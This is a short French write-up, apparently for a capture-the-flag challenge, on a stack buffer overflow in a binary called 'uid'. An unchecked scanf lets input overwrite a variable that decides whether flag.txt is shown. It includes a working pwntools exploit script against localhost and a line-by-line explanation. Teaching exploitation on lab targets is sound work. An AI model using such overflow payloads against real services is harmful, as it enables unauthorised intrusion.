Il y une vulnérabilité de débordement de tampon (buffer overflow) dans le binaire uid.
Plus précisément, la fonction __isoc99_scanf
est utilisée pour lire le nom d’utilisateur, et il n’y a pas de vérification de la taille de l’entrée. Cela permet à un attaquant de dépasser la taille du tampon v4
et d’écraser la variable v5
, qui détermine si flag.txt
ou flop.txt
est affiché.
Voici le code Python qui exploite cette vulnérabilité :
from pwn import *
# Configuration
target = remote("localhost", 4000)
# Taille du tampon
buffer_size = 44
# Payload : Remplir le tampon et écraser v5 avec 0
payload = b"A" * buffer_size + p32(0)
# Envoyer le payload
target.recvuntil(b"username: ")
target.sendline(payload)
# Récupérer et afficher le flag
print(target.recvall().decode('latin-1'))
target.close()
Explication du code :
- Importation de pwn : La bibliothèque pwntools est utilisée pour simplifier l’exploitation.
- Configuration de la cible : On se connecte au serveur distant. Si vous testez localement, remplacez par
process('./uid')
. - Taille du tampon : On définit la taille du tampon
v4
à 44 octets, comme indiqué dans l’article.
Création du payload :
- On remplit le tampon avec 44 octets de A.
- On utilise
p32(0)
pour convertir l’entier 0 en une chaîne de 4 octets (little-endian), qui écrasera la variablev5
. - Envoi du payload : On envoie le payload au serveur après avoir reçu l’invite “username: “.
- Récupération et affichage du flag : On récupère toute la sortie du serveur et on l’affiche.
- Fermeture de la connexion : On ferme la connexion avec le serveur.